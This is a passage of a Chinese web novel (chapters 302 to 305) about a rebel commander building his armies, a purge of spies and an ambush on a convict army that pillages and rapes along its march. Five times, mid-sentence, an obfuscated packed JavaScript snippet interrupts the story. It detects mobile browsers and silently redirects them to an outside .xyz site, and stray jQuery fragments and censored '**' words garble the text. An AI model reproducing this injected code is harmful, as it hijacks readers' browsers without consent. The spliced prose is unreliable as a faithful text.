台下,一片哗然。士兵们面面相觑,不明白主公是什么意思。 陈平川抬手,示意安静。 “我们不再是单纯为了平靖海疆的‘营’,我们是守护家国,开创未来的军队!” 他指向林沧海和海哥,“我宣布,成立‘镇海舰队’!由林沧海提督与海哥副提督,统领三千水师,为我大业,镇守**海疆!” 林沧海和海哥上前一步,对着台下三千水师将士,重重抱拳。 水师方阵中,爆发出震天的欢呼声。 接着,陈平川的目光转向林勇和石头。 “还有,我宣布成立‘破虏军’!由林勇将军与石头将军,统领两千陆师,凡有外虏入侵,贪官祸民,皆为我军所破!” 林勇和石头也上前一步,向着陆军方阵行礼。两千汉子,激动地捶打着自己的胸膛,发出如闷雷般的吼声。 “但是!”陈平川话锋一转,声音陡然拔高,“光有番号还不够!一支没有灵魂的军队,不过是行尸走肉!我要问你们,你们当兵,是为了什么?!” 台下安静了下来。 为了什么? 为了吃饱饭,为了领军饷,为了让家人过上好日子……大多数士兵心里想的,都是这些最朴素的念头。 “是为了那点军饷吗?”陈平川仿佛看穿了他们的心思,“是为了升官发财吗?是为了朝廷,为了那个远在京师,我们连面都没见过的皇帝吗?” 他摇了摇头,声音里带着一股强大的感染力。 “不!都不是!” “我告诉你们!你们当兵,是为了你们自己!” “是为了保护你们身后那座城里的父老乡亲!是为了保护你们刚刚分到手的田地!是为了保护你们的父母妻儿,让他们能挺直腰杆,活得像个人,再也不用受贪官污吏和倭寇的欺压!” “我陈平川向你们承诺,在我的军队里,没有论资排辈,没有克扣军饷!只有一条规矩,那就是军功!” 他让马三抬上一个巨大的木板,上面用大字写着全新的军阶和晋升制度。 “从今天起,我们设立新的军衔!从列兵、上等兵,到军士、士官长!从少尉、中尉,到少校、上校!再到将军!” 台下的士兵们听着这些陌生的词汇,有些发懵,但“上校”和“将军”两个词,他们却能明白,那代表着他们过去想都不敢想的地位! “每一次战斗,斩首、俘虏、缴获、立功,都有明确的功勋值!积攒功勋,就可以晋升!哪怕你今天只是一个新兵蛋子,只要你敢打敢拼,明天你就有可能成为统领万人的上校甚至是几十万人的将军!” “或许有人问,若是战**怎么办?”陈平川的声音愈发激昂,“战**,你的家人,我陈平川养!你们的抚恤金,是朝廷军的十倍!你们的子女,可以免费进入学堂读书!你们的名字,会刻在江徽府中央的英雄碑上,受万民敬仰!” 台下的士兵们,呼吸越来越粗重,眼睛越来越亮。 他们当了一辈子兵,或者听父辈说起当兵的事,何曾听过这样的道理?何曾见过这样好的待遇? 为自己而战!为家人而战! 这个念头,像一颗火种,在他们心里熊熊燃烧起来。 “我再宣布一件事!”陈平川趁热打铁,将一个看起来有些瘦弱,但眼神清亮的年轻人叫到台前。 “这位兄弟,名叫陆文。他是在黑礁岛上,被我们从倭寇的囚牢里救出来的同胞。”陈平川介绍道,“他的父亲是汉人,母亲是西域的胡人,所以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16209320|178436||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他精通汉话、倭语,甚至还会一些西域番邦的语言。” 陆文有些紧张地对着台下数千道目光,鞠了一躬。 陈平川拍了拍他的肩膀,继续说道:“乱世之中,人才难得。有一技之长,就该人尽其才。我决定,成立‘外务司’,由陆文担任主官,专门负责与**通商、联络。我们神机营制造火器,需要大量的硫磺、硝石,这些东西,中原不好买,但可以通过海路,从海外,从西域的商人手里买到。这件事,就交给外务司了!” 在倭寇的囚牢里,陆文受尽了折磨与歧视,因为他的混血身份,无论在哪边都像无根的浮萍。他本以为被救出来后,最好的结局也不过是当个无人问津的通译,能有口饭吃就不错了,没想到这位年轻的主公,竟会当着全军的面,给予他如此的信任和地位。 陆文激动得满脸通红,单膝跪地,声音哽咽,“主公!陆文必不辱使命!” “好!”陈平川将他扶起,最后面向全军,拔出腰间的“破虏”剑,直指苍穹。 “现在,跟着我念!” “我们是人民的军队!” “我们为守护家园而战!” “我们的剑,指向一切来犯之敌!” “我们的盾,护佑身后万千同胞!” “战!战!战!” 五千名将士,被这股磅礴的气势彻底点燃,他们高举起手中的兵器,用尽全身的力气,发出了惊天动地的怒吼。 “战!战!战!” 那声音,汇成一股钢铁洪流,冲散了云霄,震得整个江徽府城都在嗡嗡作响。 附近无数百姓纷纷停下脚步,看向校场上那支气势如虹的军队,听着那充满力量的口号,眼中都流露出无比的安心和自豪。 从这一刻起,江徽府有了一支真正属于他们自己的,战无不胜的军队! …… 江徽府的变革,如同一台轰鸣的机器,在陈平川的推动下,高效而有序地运转着。 军事、民生、工业、商业、情报……一张无形的大网,以江徽府为中心,开始悄然铺开。 第302章 一面菩萨心肠,一面雷霆手段 而在这张大网之下,另一支神秘的队伍,在夜色的掩护下悄然成立。 他们是陈平川的眼睛和耳朵,是刺向黑暗的利刃,专门负责情报、反谍和清除那些看不见的威胁。 这就是由马三和玲儿统领的“暗影”。 经过扩编,暗影的成员已经增加到了五十人。 这些人,都是从最忠诚的士兵和被解救的百姓中,精挑细选出来的。他们有的擅长追踪,有的擅长伪装,有的则心细如发,过目不忘。 在玲儿的训练下,他们成为了陈平川最锋利的牙齿,负责内部监察、反渗透和执行一些特殊的秘密任务。 这天夜里,一间位于码头附近的普通民居内,灯火通明。 玲儿坐在主位上,面无表情地擦拭着手中的一柄短刃,刃口在灯光下闪着幽幽的蓝光,显然是淬了剧毒。 她的面前,跪着一个瑟瑟发抖的中年人。 “说吧,谁派你来的?”玲儿的声音很轻,却像冰锥一样,刺入中年人的耳朵。 “姑奶奶饶命!我……我就是个做小本生意的,我什么都不知道啊!”中年人哭喊着求饶。 玲儿停下擦拭的动作,抬眼看了看他。 站在一旁的马三嘿嘿一笑,走上前,一脚踩在中年人的手指上,轻轻碾动。 “咔嚓!” 骨头碎裂的声音,清晰可闻。 “啊——!”中年人发出了杀猪般的惨叫。 “老兄,别装了。”马三蹲下身,笑嘻嘻地说道,“你叫赵沐,是隔壁西洲府的探子。三天前,你伪装成布商混进城里,每天都往‘悦来客栈’跑,跟客栈掌柜的接头。你以为我们不知道?” 赵沐的脸上血色尽褪,惊恐地看着马三:“你……你们……” “我们什么?”马三脸上的笑容不变,但眼神却冷了下来,“你的主子,孙知府想知道我们江徽府的虚实,想知道陈将军有多少兵,多少粮,对吧?他是不是还想着,等朝廷大军一来,他好来分一杯羹?” 赵沐彻底崩溃了,他没想到自己隐藏得这么好,一举一动竟然全在对方的监视之下。 “我说!我全说!”他涕泪横流,“是……是孙大人派我来的!他还联合了周围几个府的官老爷,他们都怕陈将军,都想……” 玲儿站起身,没兴趣再听下去。她对着门口的两名暗影成员摆了摆手。 两人立刻上前,将赵沐和早已被抓来的客栈掌柜拖了出去。很快,外面传来两声沉闷的声响,一切又归于寂静。 “孙知府……”马三摸着下巴,对玲儿说道,“看来咱们主公,已经成了某些人心里的钉子了。这事儿得赶紧上报。” 玲儿点了点头,收起短刃:“城里的探子,不止这一个。这几天,还得辛苦兄弟们,把这些老鼠暗桩,一只一只都给我揪出来。主公正在大展拳脚,内部,绝不能出乱子。” 这样的场景,在江徽府的阴暗角落里,不止一次地发生着。 所有被派来的探子,无论伪装得多么巧妙,都逃不过“暗影”那无处不在的眼睛。几轮狠辣的清洗过后,江徽府的内部,变得如铁桶一般。 与此同时,城内外的景象,则是一片欣欣向荣。 得益于“三年免税”和“分田到户”等惠民政令,周边州府活不下去的流民,拖家带口地涌入江徽府。短短一个月,全府人口激增了近五万。 陈平川下令以工代赈,组织这些新来的百姓,开垦荒地,兴修水利。整个江徽府,成了一个热火朝天的大工地,到处都充满了希望。 百姓们感念陈平川的恩德,自发地在家里为他立起了长生牌位,日夜叩拜。甚至有人提议,要在城中心,为他修建一座生祠,尊称他为“陈青天”。 对于这一切,陈平川只是淡然一笑,不置可否。 他深知,民心可用,但不可沉溺。 这天下午,一名风尘仆仆的信使,骑着快马冲进了议事厅。 “报——!‘天算’急信!” 陈平川精神一振,这才短短一个多月,张盛财的情报网络就已经开始发挥作用了! 他立刻接过信使呈上的蜡丸。 打开蜡丸,里面是一张小小的纸条,上面用密码写着几行字。这是他和张盛财约定好的密写方式。 迅速破译后,陈平川的脸色,渐渐凝重了起来。 情报的内容很简单,却又触目惊心。 “京城已闻江徽之事,太后震怒,于朝堂之上咆哮,誓要将你**万段。国舅梁越,已在调兵遣将,恐有大军南下。具体军情,正在详查。” “大军南下… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16209321|178436||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …”陈平川捏紧了手里的纸条。 该来的,终究还是要来了。 他并不意外,占据江徽府,斩杀朝廷命官,这无异于公开扯旗**。 以梁太后和梁越的性格,绝不可能容忍。 看来,自己这位便宜岳父,还真有两把刷子,这么快就把情报网络铺到了京城附近。 就在陈平川思索对策之时,议事厅外,突然响起一阵急促的脚步声。 一名神机营的工匠,满脸兴奋地冲了进来,手里还捧着一个长条形的木匣。 “主公!主公!成了!成了!” 陈平川抬起头,眼中精光一闪。 他知道,他等待已久的另一张王牌,也到了。 …… 紫禁城,慈宁宫。 “可恶!” 梁太后一张保养得宜的脸上,此刻布满了狰狞的怒火,让她看起来像个择人而噬的厉鬼。 “陈平川!又是陈平川!”她尖声叫道,声音刺耳,“他为什么还活着?!现在竟然敢在江南杀了朝廷命官,占据一府之地!这是在打我大业朝的脸!” 她愤怒地瞪着眼前的群臣,喝问:“事情过去这么久,你们竟然还想不出办法对付他吗?都是一群饭桶!” 她的身旁,国舅梁越的脸色也阴沉得能滴出水来。 江徽府知府魏长明,是他一手提拔起来的,每年给他“孝敬”的银子,就不是一笔小数目。现在,人**,财路也断了,更重要的是,陈平川这个心腹大患,竟然在江徽府稳了脚跟。 这让他感到了前所未有的威胁。 “妹妹息怒。”梁越躬身道,眼中闪过一丝狠毒,“陈平川此举,形同谋反。必须用雷霆手段剿灭,方显我大业朝的威严!” 梁太后喘着粗气,指着他道:“那还等什么?发兵!调集大军,给本宫踏平江徽府!把那个陈平川,给本宫一寸一寸地剁碎了喂狗!” 梁越的脸上,却露出了一丝为难之色:“妹妹,如今北方蛮族未平,西南又有叛乱,各地可用的兵马,都已捉襟见肘。仓促之间,恐怕难以调集足以一战定乾坤的大军。” 梁太后怒问道,“难道就任由那个小畜生在江南逍遥快活吗?” “当然不。”梁越的嘴角,勾起一抹阴冷的笑容,“臣,已有一计。” 第303章 一纸屠龙诏,孤舟斩狂澜 梁越凑到梁太后耳边,低声说道:“妹妹,我们虽然没有足够强大的陆军,但我们手里,还握着大业朝最锋利的刀——定海水师!” 梁太后的眼睛倏然一亮,怒意被惊喜冲淡了几分:“你是说……丁奉国那个老顽固?” “正是此人。”梁越的笑容愈发阴冷,“这老家伙最是讲究君臣大义,迂腐不堪。只要以陛下的名义下旨,他就算心里再不情愿,也断然不敢抗命。江徽府乃江南财赋重地,一旦被定海水师从海上封死,断了其粮道和退路,陈平川便是插翅难飞!” 梁越的眼中,闪烁着毒蛇般的光芒,继续说道:“不过,为保万无一失,我还有一计。” “哦?快说!” “水师主攻,陆路也要给他压力。臣提议,从全国天牢之中,提审三千名穷凶极恶的死囚,再招募两千名为钱不要命的江湖亡命徒。将他们组成一支‘讨逆先锋军’,从陆路直扑江徽府!” “死囚和亡命徒?”梁太后皱了皱眉,似乎有些不齿。 梁越阴恻恻地笑了起来:“没错,这正是此计的精妙之处。我们不必给他们军饷,只需许诺他们,只要攻破江徽,城中府库钱粮、世家金银、包括所有女人,皆可任其劫掠三日,事后既往不咎,官府还会为他们销去罪籍,还他们自由之身!这些亡命之徒,必将化为最凶残的恶鬼!他们沿途烧杀抢掠,制造的恐慌,最终都会算在陈平川的头上!届时,江南百姓只会怨恨陈平川,引来了这群恶魔!” “我们既不用费一兵一卒,又能搅乱江南民心,还能给陈平川制造巨大的压力。一石三鸟,何乐而不为?” 梁太后听完,紧绷的嘴角缓缓勾起,最终化作一抹快意的残忍笑容。 “好!”她拍案而起,厉声道,“就这么办!立刻去拟旨!本宫要让那个陈平川,死无葬身之地!” …… 两道来自京师的圣旨,一南一北,疾驰而去。 一道,送往定海水师的驻地,镇海卫。 另一道,则送往京城天牢。 一时间,整个大业朝的官场,都嗅到了一股山雨欲来的血腥味。 定海水师,提督府。 年过六旬的定海提督丁奉国,一身藏青色常服,身形依然挺拔如松。他从传旨太监手中接过圣旨,布满厚茧的双手稳如磐石,面色平静地将明黄卷轴展开。 当他看清圣旨上那“剿灭叛逆陈平川”的字眼时,古井无波的眼神骤然一紧,握着卷轴的手指不自觉地收拢,将上好的绸缎捏出了几道褶皱。 “臣,丁奉国,领旨谢恩。” 他声音洪亮,动作一丝不苟地行了君臣大礼。 传旨太监尖着嗓子笑了笑:“丁老将军,太后和国舅爷可都等着您的好消息呢。这陈平川不过是个黄口小儿,手下也尽是些乌合之众,以定海水师的雷霆之威,想必是手到擒来。” 丁奉国面无表情地说道:“军国大事,不敢儿戏。公公一路辛苦,请先去偏厅用茶。” 打发走了太监,丁奉国拿着那份轻飘飘却重如千钧的圣旨,走进了书房。 他将圣旨放在桌上,看着上面那几个刺眼的墨字,久久不语。 陈平川…… 这个名字,他如雷贯耳。此子以一介书生之身,行伍**,北拒蛮族,南定庐州,其用兵之诡谲,胆魄之雄壮,便是军中宿将也自愧不如。 尤其是在江徽府,他整顿军纪,雷霆手段斩杀通倭知府,聚拢民心痛击倭寇,桩桩件件,都做到了丁奉国一直想做却又被朝廷掣肘无法做到的事。这才是真正为国为民的军人所为! 可如今,朝廷却要他去剿灭这样的“叛逆”。而下令的,却是他最看不起的梁氏外戚。 丁奉国的心里,像是有两头猛虎在撕咬。 一边,是根植于骨髓的忠君报国思想,是维系大业朝廷威严的军人天职。他吃了一辈子皇粮,君要臣死,臣不得不死。 另一边,却是他心中尚未泯灭的良知和道义。他打心眼里觉得,陈平川没错,错的是这个被外戚和宦官把持的朝廷。 “唉……”一声长长的叹息,充满了无奈和疲惫。 “父亲!” 书房的门被推开,一个身材高大、面容英武的年轻将领走了进来,正是他的儿子,定海水师副提督,丁远。 “您真的要接旨?!”丁远双目赤红,显然他也知道了消息,“父亲!您糊涂啊!陈平川是什么人?他杀的是通敌**的知府,是烧杀抢掠的倭寇!他分田地给百姓,让我们汉人能在自己的土地上活下去!他做的事情,哪一件不是我们这些当兵的该做的?!” “我们不去帮他也就算了,为何还要奉了那奸妃**的命令,去自相残杀?!” “住口!”丁奉国猛地一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16209322|178436||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拍桌子,勃然大怒,“你懂什么!我食君之禄,自当忠君之事!无论朝堂之上是谁在做主,这天下,还是皇上的天下!陈平川私自斩杀朝廷命官,占据一府之地,这就是谋反!国法何在?军纪何在?!” “国法?军纪?”丁远惨笑一声,“父亲,您还看不明白吗?这个朝廷,早就烂透了!国法,是他们梁家的家法!军纪,是他们排除异己的工具!我们为他们卖命,打赢了,功劳是他们的,打输了,黑锅是我们的!您在为大业朝的海疆浴血奋战半辈子,换来了什么?还不是被他们一脚踢到这鬼地方来养老!” 丁奉国的脸色一阵青一阵白,丁远的话,每一句都戳在他的痛处。 “你……你这个逆子!”他气得浑身发抖,指着丁远,“我告诉你,军令如山!我意已决!你若是再敢胡言乱语,蛊惑军心,休怪我军法从事!” “父亲!”丁远“扑通”一声跪了下来,抱着丁奉国的大腿,声泪俱下,“儿子求您了!三思啊!我们不能为虎作伥,不能让天下的百姓戳我们的脊梁骨啊!” 丁奉国看着跪在地上哭泣的儿子,心如刀割。他何尝不知道儿子说的是对的? 但他过不了自己心里的那道坎。 他闭上眼睛,深吸一口气,再睁开时,眼中只剩下一片冰冷的坚决。 “来人!”他厉声喝道。 两名亲兵立刻从门外进来。 “将副提督带下去,关入禁闭室!没有我的命令,不许他出来,更不许他和任何人接触!” “父亲!”丁远绝望地大喊。 但亲兵不敢违抗提督的命令,一左一右,将丁远强行架了出去。 书房里,再次恢复了宁静。 丁奉国颓然地坐回椅子上,仿佛一瞬间苍老了十岁。 他拿起桌上另一份军令,是梁越发来的——让他配合“讨逆先锋军”海陆夹击陈平川。 “恶鬼军团……”丁奉国眼中闪过浓浓的厌恶和不屑,“与此等豺狼为伍,简直是我辈军人之耻!” 他拿起笔,在一张空白的令纸上,写下了一道命令。 “传我将令,定海水师即刻起锚,南下江徽!但,不与陆路兵马汇合,我自寻战机,独力破敌!” 他不能违抗圣旨,但他可以选择,不与那些**同流合污。这是他作为一名老将,最后的尊严和底线。 …… 第304章 打狗,就要往死里打! 与此同时,京城天牢。 这里是整个大业朝最阴森恐怖的地方,关押的,都是罪行严重的死囚。 当梁越的心腹酷吏李蝎,带着一队人马,手持圣旨来到这里时,整个天牢都骚动了起来。 李蝎,人如其名,长得就像一只蝎子,鹰钩鼻,三角眼,脸上有一道长长的刀疤,让他看起来格外凶狠。 他曾是朝廷密卫的一个小旗,以手段酷烈闻名,最喜欢听犯人骨头碎裂的声音。 他站在天牢中央,阴恻恻地宣读了圣旨。 当听到“赦免死罪”,“攻下江徽府,城中财富女人,任取三日”这些字眼时,那些原本死气沉沉的囚犯们,眼中瞬间爆发出野兽般贪婪和疯狂的光芒。 “吼!!” “万岁!!” “杀!杀!杀!” 压抑已久的**,在这一刻被彻底释放。整个天牢,化作了群魔乱舞的炼狱。 李蝎看着眼前这副景象,满意地舔了舔嘴唇。 一支由三千头最凶残的野兽和两千名最贪婪的豺狼组成的“恶鬼军团”,即将诞生。 而他们的第一个目标,就是江南那座繁华富庶的新城——江徽府。 就这样,一支堪称大业朝历史上最奇特的军队,浩浩荡荡地开出了京城。 他们没有统一的军服,穿着五花八门的囚衣和劲装。他们没有整齐的队列,三五成群,勾肩搭背,像是一群赶着去参加庙会的流氓地痞。 他们的兵器也是杂乱无章,除了朝廷统一发放的长矛和腰刀,还有许多人扛着自己从江湖上带来的鬼头刀、狼牙棒,甚至是带铁链的流星锤。 这,就是由酷吏李蝎统领的,五千人“恶鬼军团”。 从离开京城的那一刻起,这支军队就将他们的“恶鬼”本色,发挥得淋漓尽致。 他们沿途经过的村镇,无一幸免。 **粮食,只是开胃小菜。他们冲进乡绅富户的家里,将金银细软洗劫一空,稍有反抗,便是全家屠戮。年轻的女子被他们拖拽到路边,当众施暴,哭喊声和淫笑声混成一片,宛如人间地狱。 李蝎骑在高头大马上,冷漠地看着这一切,甚至还饶有兴致地指点着手下,哪家的姑娘更水灵,哪家的宅子可能藏着更多的财宝。 国舅爷的命令是,要让这支军队制造最大的恐慌。 他正在完美地执行着这个命令。 军队之中,一个身材魁梧如铁塔,满脸横肉的壮汉,默默地看着这一切,紧紧地攥着拳头,指甲几乎要嵌进肉里。 他的外号叫“疯狗”,本名王奎。曾是边军的一名悍将,因为看不惯上司克扣军饷,喝醉酒后把上司打了个半死,结果被诬陷通敌,打入了天牢,判了斩立决。 他恨这个朝廷,恨这些贪官污吏。 但他更恨眼前这些连畜生都不如的渣滓。 一个年轻的佣兵,嬉皮笑脸地凑到他身边:“王奎大哥,你看那小妞,皮肤多白。等到了江徽府,听说那里的娘们更带劲!到时候兄弟们一定先紧着您挑!” 王奎没有说话,只是用冰冷的眼神扫了他一眼。 那佣兵被他看得打了个哆嗦,讪讪地走开了。 “奎哥,忍住。”一个同样是囚犯出身的汉子,在他身边低声说道,“现在跟他们起了冲突,咱们占不到便宜。等到了江徽府,真打起来,是咱们兄弟露脸的时候。到时候,是杀敌立功,还是另谋出路,都好说。” 王奎深吸一口气,松开了拳头。 是啊,忍。他已经忍了三年了,不差这几天。 他看向东南方,那里,是江徽府的方向。 陈平川…… 在天牢里,他也听说了这个人的名字。他只希望,这个人,真的像传说中那样,是个能成大事的人。 …… 江徽府,议事厅。 气氛凝重如水。 一张巨大的沙盘,摆在大厅中央,上面精确地复刻了江徽府及周边的地形。 陈平川手持一根木杆,神情冷静。 “最新的情报,都收到了吧?”他环视着林勇、石头、马三等一众将领。 马三率先开口:“收到了。李蝎那支五千人的‘恶鬼军团’,已经进入我府地界。他们一路烧杀抢掠,无恶不作,沿途百姓死伤惨重,怨声载道。” 听到这里,众人的脸上也露出了愤怒之色。 石头更是气得一拳砸在桌子上,发出“咚”的一声闷响:“主公!让我带兵去!我要把这群杂碎的脑袋,一个个都拧下来!” “不急。”陈平川的目光,落在沙盘一处狭长的隘口上,“他们以为自己是凶残的饿狼,但在我看来,不过是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16216286|178436||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一群没脑子的疯狗。既然是狗,就要用打狗的办法。” “他们急于赶到江徽府屠城抢掠,必定会选择最近的路线。而这条路,必须经过这里——” 他的木杆,重重地点在了那个隘口上。 “鬼愁涧!” 众人顺着他的木杆看去。鬼愁涧,两山夹一沟,道路狭窄,绵延十里,两旁是陡峭的山壁和茂密的森林,是绝佳的伏击地点。 “他们骄横、贪婪、毫无纪律,这正是他们最大的弱点。”陈平川的嘴角,浮现出一丝冷笑,他看向石头,眼神锐利。 “石头,这次的任务,交给你。” 石头猛地挺直了腰杆,大声应道:“是!主公!” “我给你五百破虏军的精锐。”陈平川继续说道,“你们提前进入鬼愁涧埋伏。记住,我不要你们跟他们硬拼,那是在浪费我们战士的生命。” “我要你,在他们完全进入山涧之后,用我们早就准备好的东西,把他们的前路和后路,都给我彻底堵死!” “然后用滚木和巨石,把他们砸得哭爹喊娘,阵型大乱!” “我要你把鬼愁涧,变成他们的屠宰场,明白吗?” 石头眼中闪烁着兴奋的光芒,他重重地点了点头:“明白!把他们当畜生打!” “对,就是把他们当畜生打。”陈平川的语气变得冰冷,“去吧,为那些惨死在他们屠刀下的无辜百姓,报仇雪恨。” 石头领命而去,高大的身影充满了肃杀之气。 黄昏时分,鬼愁涧。 夕阳的余晖,将整个山谷染上了一层诡异的血色。 山涧两旁的密林中,五百名破虏军士兵,如同蛰伏的毒蛇一般,悄无声息地潜伏着。他们身上披着与环境融为一体的伪装,手中紧紧握着冰冷的兵器。 石头趴在一处视野最好的悬崖边,巨大的身躯与岩石融为一体。他透过树叶的缝隙,冷冷地注视着远处地平线上,那片缓缓移动的烟尘。 烟尘越来越近,嘈杂的喧哗声和**的笑骂声,已经隐约可闻。 石头缓缓举起了右手。 他身后的士兵们,纷纷将手放在了早已架设好的巨大杠杆上。杠杆的另一头,是成堆的巨石和削尖了头的巨大滚木,上面还浇满了油脂。 一场单方面的**,即将开始。 第305章 天崩鬼愁涧,血祭恶鬼军 “快点走!磨磨蹭蹭的干什么!天黑之前赶不到前面的镇子,老子就拿你们的皮做灯笼!” 李蝎骑在马上,不耐烦地挥舞着马鞭,抽打着一个走的慢了的死囚。 他手下的五千“恶鬼”,此刻正乱哄哄地挤在鬼愁涧狭窄的道路上。 他们刚洗劫了一个村子,不少人怀里还揣着抢来的财物,回味着刚刚糟蹋的女人,嘴里骂骂咧咧,只想着快点到江徽府,去享受那屠城三日的“盛宴”。 对于眼前这个地形险要的山涧,他们没有丝毫的警惕。 在他们看来,陈平川只是一个书生,手下不过几千兵马,既没有精兵猛将,也没有胆子主动出击。 “嘿,这地方不错啊,两边都是山,如果有人在这里布下伏兵,我们一个都跑不掉!”一个死囚笑着对同伴说。 “说的是!可我们走这么久也没动静,可见那个陈平川就是个草包,根本不懂兵法!” 队伍拉得很长,前军已经快要走出山涧,后军却才刚刚进来。整个队伍,就像一条贪婪的长蛇,完全钻进了这个为它量身定做的口袋。 悬崖之上,石头冰冷的目光,注视着这一切。 当李蝎的帅旗,行至山涧最中心的位置时,石头缓缓举起的右手,猛然握拳! “呜——!” 一声低沉的牛角号,在山谷中骤然响起! 这声号角,就是死亡的开端! “动手!” 随着石头一声怒吼,埋伏在山涧两旁的破虏军士兵,同时发力,推动了巨大的杠杆! “轰隆隆——!” 大地开始颤抖! 山涧的前后两端,无数磨盘大小的巨石,如同天崩地裂一般,从天而降!巨石带着万钧之势,狠狠地砸在狭窄的道路上,瞬间将恶鬼军团的去路和退路,彻底封死! 烟尘冲天而起,被砸中的倒霉蛋,连惨叫都来不及发出,就变成了一滩肉泥。 “敌袭!有埋伏!” “妈的!中计了!” 恶鬼军团瞬间炸了锅,乱成一团。 但,这仅仅是开始。 不等他们反应过来,山涧中段,两旁的山坡上,更多涂满了油脂的滚木和巨石,如同下雨一般,呼啸而下! “啊——!” “救命啊!” 惨叫声,哀嚎声,骨骼碎裂声,响彻山谷。 这些刚刚还在耀武威扬的“恶鬼”,此刻在天灾般的打击下,彻底暴露了他们乌合之众的本质。他们丢下兵器,扔掉抢来的女人和财物,像没头的苍蝇一样四处乱撞,互相踩踏,死伤无数。 李蝎胯下的战马被一块飞石砸断了腿,将他掀翻在地。他狼狈地爬起来,脸上沾满了灰土和鲜血,眼中满是不可置信的恐惧。 “弓箭手!弓箭手!给老子往山上射!射死他们!”他惊恐地尖叫着。 一些弓箭手慌乱地拉开弓,朝着山上胡乱射击。但破虏军的士兵们,都躲在预先挖好的掩体后面,稀稀拉拉的箭雨,根本无法对他们造成任何威胁。 混乱之中,王奎和他身边那几十个边军出身的兄弟,背靠着一处山壁,冷静地看着这如同炼狱般的景象。 王奎的眼中,没有恐惧,只有一丝冰冷的狠厉。 机会,来了! 他看到李蝎正在几个亲兵的护卫下,声嘶力竭地呼喊着,试图组织起有效的抵抗。 “兄弟们!”王奎低吼一声。 他身边的几十个汉子,同时拔出了腰刀,眼神决绝。 “跟我上!” 王奎如同一头猛虎,咆哮着冲了出去。他手中的大刀,卷起一道腥风,挡在他面前的几个乱兵,被他一刀就劈成了两半。 李蝎的亲兵看到了冲来的王奎,立刻上前阻拦。 “你们想干什么?” “保护大人!” 然而,这些只懂得欺压百姓的爪牙,如何是王奎这等沙场悍将的对手? 王奎不闪不避,硬扛了一刀,任凭刀锋在自己胳膊上划开一道口子,手中的大刀却以一个刁钻的角度,抹过了一名亲兵的脖子。 鲜血,喷涌而出。 “杀!” 王奎的兄弟们也同时杀到,与李蝎的亲兵战作一团。 李蝎吓得魂飞魄散,转身就想跑。 “狗官,哪里逃!” 王奎一声爆喝,猛地将手中的腰刀投掷了出去! 腰刀在空中划过一道寒光,“噗”的一声,正中李蝎的后心! 李蝎踉跄了几步,难以置信地低下头,看着穿胸而出的刀尖,张了张嘴,一口鲜血喷出,颓然倒地。 王奎大步上前,一把拔出腰刀,然后手起刀落,将李蝎那颗丑陋的头颅,干净利落地砍了下来! 他高高举起那颗还在滴血的头颅,用尽全身的力气,发出了振聋发聩的怒吼: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16216287|178436||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “兄弟们!狗官李蝎已死!” “朝廷拿我们当炮灰,这狗官还要逼我们来送死!” “前面,是陈平川将军的仁义之师!跟着他,说不定能活得像个人!” “老子王奎,不当替死鬼!更不当恶鬼!老子要当人!反了!” 这声怒吼,如同一道惊雷,在混乱的山谷中炸响。 那些还在惊慌失措的死囚们,闻言都愣住了。他们看着高举人头的王奎,又看了看山上那只闻其声不见其人的恐怖伏兵,心思开始活络起来。 是啊,跟着李蝎是死,往前冲也是死,为什么不搏一把? “反了!跟着王奎大哥干!” 